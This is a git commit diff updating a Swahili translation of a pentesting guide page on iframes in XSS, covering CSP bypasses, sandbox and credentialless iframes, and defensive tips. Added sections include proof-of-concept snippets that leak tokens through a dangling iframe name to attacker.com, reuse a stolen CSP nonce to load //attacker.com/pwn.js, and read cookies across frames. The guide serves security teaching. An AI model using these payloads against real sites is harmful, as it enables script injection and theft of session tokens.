Translated ['src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-

This commit is contained in:
Translator 2025-08-19 20:32:17 +00:00
parent 15dfd0bd81
commit 8054289eb2

View File

@ -45,7 +45,7 @@ var secret = "child secret"
alert(parent.secret) alert(parent.secret)
</script> </script>
``` ```
Ikiwa utafungua html ya awali kupitia seva ya http (kama `python3 -m http.server`) utaona kwamba skripti zote zitatekelezwa (kama hakuna CSP inayozuia). **mzazi hataweza kufikia `secret` var ndani ya iframe yoyote** na **ni iframes if2 & if3 tu (ambazo zinachukuliwa kuwa za tovuti moja) zinaweza kufikia siri** katika dirisha la asili.\ Ikiwa unapata html ya awali kupitia seva ya http (kama `python3 -m http.server`) utaona kwamba skripti zote zitatekelezwa (kama hakuna CSP inayozuia). **mzazi hataweza kufikia var `secret` ndani ya iframe yoyote** na **ni iframes if2 & if3 pekee (ambazo zinachukuliwa kuwa za tovuti moja) zinaweza kufikia siri** katika dirisha la asili.\
Tazama jinsi if4 inachukuliwa kuwa na asili `null`. Tazama jinsi if4 inachukuliwa kuwa na asili `null`.
### Iframes na CSP <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a> ### Iframes na CSP <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
@ -61,7 +61,7 @@ Kwa hivyo inawezekana kupita CSP ya ukurasa kwa:
<head> <head>
<meta <meta
http-equiv="Content-Security-Policy" http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='" /> content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
</head> </head>
<script> <script>
var secret = "31337s3cr37t" var secret = "31337s3cr37t"
@ -81,9 +81,9 @@ Hata hivyo, **ni `if1` na `if2` tu ambazo zitatekelezwa lakini ni `if1` pekee it
![](<../../images/image (372).png>) ![](<../../images/image (372).png>)
Kwa hivyo, inawezekana **kuzidi CSP ikiwa unaweza kupakia faili ya JS kwenye seva na kuipakia kupitia iframe hata na `script-src 'none'`**. Hii inaweza **pia kufanywa kwa kutumia mwisho wa JSONP wa same-site**. Kwa hivyo, inawezekana **kuzidi CSP ikiwa unaweza kupakia faili ya JS kwenye seva na kuipakia kupitia iframe hata na `script-src 'none'`**. Hii inaweza **pia kufanywa kwa kutumia kipengele cha JSONP cha same-site**.
Unaweza kujaribu hii na hali ifuatayo ambapo cookie inanyang'anywa hata na `script-src 'none'`. Endesha tu programu na uifungue na kivinjari chako: Unaweza kujaribu hii na hali ifuatayo ambapo cookie inakuliwa hata na `script-src 'none'`. Endesha tu programu na uifungue na kivinjari chako:
```python ```python
import flask import flask
from flask import Flask from flask import Flask
@ -103,7 +103,43 @@ return "<script>alert(document.cookie)</script>"
if __name__ == "__main__": if __name__ == "__main__":
app.run() app.run()
``` ```
### Payloads Nyingine Zilizopatikana Katika Mwitu <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a> #### Mbinu mpya za CSP bypass (2023-2025) zikiwa na iframes
Jamii ya utafiti inaendelea kugundua njia za ubunifu za kutumia iframes ili kushinda sera za kikomo. Hapa chini unaweza kupata mbinu zinazojulikana zaidi zilizochapishwa katika miaka michache iliyopita:
* **Dangling-markup / named-iframe data-exfiltration (PortSwigger 2023)** Wakati programu inareflect HTML lakini CSP kali inazuia utekelezaji wa script, bado unaweza kuvuja tokens nyeti kwa kuingiza *dangling* `<iframe name>` attribute. Mara tu markup ya sehemu inaposindika, script ya mshambuliaji inayotembea katika chanzo tofauti inapeleka frame kwa `about:blank` na kusoma `window.name`, ambayo sasa ina kila kitu hadi herufi ya nukuu inayofuata (kwa mfano token ya CSRF). Kwa sababu hakuna JavaScript inayotembea katika muktadha wa mwathirika, shambulio kwa kawaida linakwepa `script-src 'none'`. PoC ndogo ni:
```html
<!-- Injection point just before a sensitive <script> -->
<iframe name="//attacker.com/?"> <!-- attribute intentionally left open -->
````
```javascript
// attacker.com frame
const victim = window.frames[0];
victim.location = 'about:blank';
console.log(victim.name); // → leaked value
```
* **Nonce theft via same-origin iframe (2024)** CSP nonces haziondolewa kutoka DOM; zinafichwa tu katika DevTools. Ikiwa mshambuliaji anaweza kuingiza iframe ya *same-origin* (kwa mfano kwa kupakia HTML kwenye tovuti) frame ya mtoto inaweza kuuliza tu `document.querySelector('[nonce]').nonce` na kuunda nodi mpya za `<script nonce>` zinazokidhi sera, ikitoa utekelezaji kamili wa JavaScript licha ya `strict-dynamic`. Gadget ifuatayo inainua kuingizwa kwa markup kuwa XSS:
```javascript
const n = top.document.querySelector('[nonce]').nonce;
const s = top.document.createElement('script');
s.src = '//attacker.com/pwn.js';
s.nonce = n;
top.document.body.appendChild(s);
```
* **Form-action hijacking (PortSwigger 2024)** Ukurasa unaoacha mwelekeo wa `form-action` unaweza kuwa na fomu ya kuingia *re-targeted* kutoka iframe iliyoungizwa au HTML ya ndani ili wasimamizi wa nywila kujaza kiotomatiki na kuwasilisha akidi kwa kikoa cha nje, hata wakati `script-src 'none'` ipo. Daima kamilisha `default-src` na `form-action`!
**Maelezo ya kujihami (orodha ya haraka)**
1. Daima tuma *yote* CSP directives zinazodhibiti muktadha wa pili (`form-action`, `frame-src`, `child-src`, `object-src`, nk.).
2. Usitegemee nonces kuwa siri—tumia `strict-dynamic` **na** ondolea maeneo ya kuingiza.
3. Unapolazimika kuingiza nyaraka zisizoaminika tumia `sandbox="allow-scripts allow-same-origin"` **kwa uangalifu sana** (au bila `allow-same-origin` ikiwa unahitaji tu kutengwa kwa utekelezaji wa script).
4. Fikiria kutekeleza ulinzi wa kina wa COOP+COEP; sifa mpya ya `<iframe credentialless>` (§ hapa chini) inakuruhusu kufanya hivyo bila kuvunja embeds za wahusika wengine.
### Payloads Nyingine zilizopatikana porini <a href="#other_payloads_found_on_the_wild_64" id="#other_payloads_found_on_the_wild_64"></a>
```html ```html
<!-- This one requires the data: scheme to be allowed --> <!-- This one requires the data: scheme to be allowed -->
<iframe <iframe
@ -128,20 +164,28 @@ Wakati inapotumika, sifa ya `sandbox` inaweka vizuizi kadhaa:
- Inazuia viungo kuingiliana na muktadha mwingine wa kuvinjari. - Inazuia viungo kuingiliana na muktadha mwingine wa kuvinjari.
- Matumizi ya plugins kupitia `<embed>`, `<object>`, `<applet>`, au lebo zinazofanana yanakatazwa. - Matumizi ya plugins kupitia `<embed>`, `<object>`, `<applet>`, au lebo zinazofanana yanakatazwa.
- Usafiri wa muktadha wa juu wa kuvinjari wa maudhui yenyewe unazuiliwa. - Usafiri wa muktadha wa juu wa kuvinjari wa maudhui yenyewe unazuiliwa.
- Vipengele vinavyosababishwa kiotomatiki, kama vile upigaji wa video au kuzingatia kiotomatiki kwa udhibiti wa fomu, vinazuiwa. - Vipengele vinavyosababishwa kiotomatiki, kama vile upigaji video au kuzingatia kiotomatiki kwa udhibiti wa fomu, vinazuiwa.
Thamani ya sifa inaweza kuachwa kuwa tupu (`sandbox=""`) ili kuweka vizuizi vyote vilivyotajwa hapo juu. Vinginevyo, inaweza kuwekwa kwenye orodha ya thamani maalum zilizotenganishwa kwa nafasi ambazo zinatoa msamaha kwa iframe kutoka kwa vizuizi fulani. Tip: Mablazaji ya kisasa yanasaidia bendera za granular kama `allow-scripts`, `allow-same-origin`, `allow-top-navigation-by-user-activation`, `allow-downloads-without-user-activation`, nk. Changanya hizo ili kutoa tu uwezo wa chini unaohitajika na programu iliyowekwa.
Thamani ya sifa inaweza kuachwa kuwa tupu (`sandbox=""`) ili kuweka vizuizi vyote vilivyotajwa hapo juu. Vinginevyo, inaweza kuwekwa kwenye orodha ya thamani maalum zilizotengwa kwa nafasi ambazo zinatoa msamaha kwa iframe kutoka kwa vizuizi fulani.
```html ```html
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe> <!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>
``` ```
### Credentialless iframes ### Iframes zisizo na akreditivu
Kama ilivyoelezwa katika [this article](https://blog.slonser.info/posts/make-self-xss-great-again/), bendera ya `credentialless` katika iframe inatumika kupakia ukurasa ndani ya iframe bila kutuma akidi katika ombi huku ikihifadhi sera ya asili sawa (SOP) ya ukurasa ulio pakwa ndani ya iframe. Kama ilivyoelezwa katika [hiki kifungu](https://blog.slonser.info/posts/make-self-xss-great-again/), bendera `credentialless` katika iframe inatumika kupakia ukurasa ndani ya iframe bila kutuma akreditivu katika ombi huku ikihifadhi sera ya asili sawa (SOP) ya ukurasa ulio pakuliwa ndani ya iframe.
Hii inaruhusu iframe kufikia taarifa nyeti kutoka iframe nyingine katika SOP sawa iliyopakiwa kwenye ukurasa wa mzazi: Tangu **Chrome 110 (Februari 2023 kipengele hiki kimewezeshwa kwa default** na kiwango kinastandariswa kati ya vivinjari chini ya jina *anonymous iframe*. MDN inaelezea kama: “mekanismu ya kupakia iframes za wahusika wengine katika sehemu mpya ya kuhifadhi ya muda ili kwamba hakuna vidakuzi, localStorage au IndexedDB vinavyoshirikiwa na asili halisi”. Matokeo kwa washambuliaji na walinzi:
* Skripti katika iframes tofauti zisizo na akreditivu **bado zinashiriki asili ya kiwango cha juu** na zinaweza kuingiliana kwa uhuru kupitia DOM, kufanya mashambulizi ya multi-iframe self-XSS kuwa yawezekana (tazama PoC hapa chini).
* Kwa sababu mtandao ni **credential-stripped**, ombi lolote ndani ya iframe linatenda kama kikao kisichothibitishwa maeneo yaliyolindwa na CSRF kwa kawaida yanashindwa, lakini kurasa za umma zinazoweza kuvuja kupitia DOM bado ziko ndani ya wigo.
* Pop-ups zinazozalishwa kutoka iframe isiyo na akreditivu hupata `rel="noopener"` isiyo ya moja kwa moja, ikivunja baadhi ya mchakato wa OAuth.
```javascript ```javascript
window.top[1].document.body.innerHTML = 'Hi from credentialless'; // PoC: two same-origin credentialless iframes stealing cookies set by a third
alert(window.top[1].document.cookie); window.top[1].document.cookie = 'foo=bar'; // write
alert(window.top[2].document.cookie); // read -> foo=bar
``` ```
- Mfano wa unyakuzi: Self-XSS + CSRF - Mfano wa unyakuzi: Self-XSS + CSRF
@ -165,7 +209,7 @@ document.forms[0].submit();
- Iframe nyingine ambayo kwa kweli ina mtumiaji aliyeingia (bila bendera ya `credentialless`). - Iframe nyingine ambayo kwa kweli ina mtumiaji aliyeingia (bila bendera ya `credentialless`).
Kisha, kutoka kwenye XSS inawezekana kufikia iframe nyingine kwani zina SOP sawa na kuiba kidaku kwa mfano kwa kutekeleza: Kisha, kutoka kwenye XSS inawezekana kufikia iframe nyingine kwani zina SOP sawa na kuiba cookie kwa mfano kwa kutekeleza:
```javascript ```javascript
alert(window.top[1].document.cookie); alert(window.top[1].document.cookie);
``` ```
@ -201,4 +245,10 @@ Angalia kurasa zifuatazo:
../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md ../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md
{{#endref}} {{#endref}}
## Marejeo
* [PortSwigger Research Kutumia hijacking ya fomu kupita CSP (Machi 2024)](https://portswigger.net/research/using-form-hijacking-to-bypass-csp)
* [Chrome Developers Iframe bila akreditivu: Rahisi kuingiza iframes katika mazingira ya COEP (Feb 2023)](https://developer.chrome.com/blog/iframe-credentialless)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}